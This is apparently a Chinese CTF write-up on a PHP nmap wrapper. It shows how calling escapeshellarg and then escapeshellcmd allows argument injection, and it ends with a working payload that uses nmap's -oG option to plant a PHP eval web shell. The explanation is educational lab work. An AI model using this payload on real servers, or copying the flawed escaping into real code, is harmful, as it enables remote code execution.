1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
escapeshellarg
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
1 2
| var_dump(escapeshellarg("aa'bb"));
|
- 可以看到escapeshellarg主要干了两件事:
- 用\转义已有的’,然后’'将'括起来
- 在字符串两端添加’’
- 其目的就是限制shell命令只能有一个参数(当然也只能执行一条命令)
1 2 3
| <?php system("ls ".$_GET['cmd']); system("ls ".escapeshellarg($_GET['cmd']));
|
传入?cmd=/ /var
第一个system会执行
第二个system会执行
escapeshellcmd
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
- escapeshellcmd会在一些shell的特殊字符前面加上\将其转义
- escapeshellcmd的目的就是使其只能执行一条命令,但允许多个参数
两者连用
- 先使用escapeshellarg,再使用escapeshellcmd就会导致注入多个参数的问题(也就相当于escapeshellarg失效)
1 2 3 4 5 6
| $cmd = $_GET['cmd']; $cmd = escapeshellarg($cmd); var_dump($cmd); $cmd = escapeshellcmd($cmd); var_dump($cmd); system('echo '.$cmd);
|
?cmd=aaa’ <?()> 123 ,输出
1 2 3
| string(19) "'aaa'\'' <?()> 123'" string(26) "'aaa'\\'' \<\?\(\)\> 123\'" aaa\ <?()> 123
|
nmap写文件
最后payload:
1
| ?host=123' <?php eval($_GET[a]); ?> -oG fuck.php%20
|
- 注意最后要有空格把最后的’分隔开,不然会写到fuck.php’里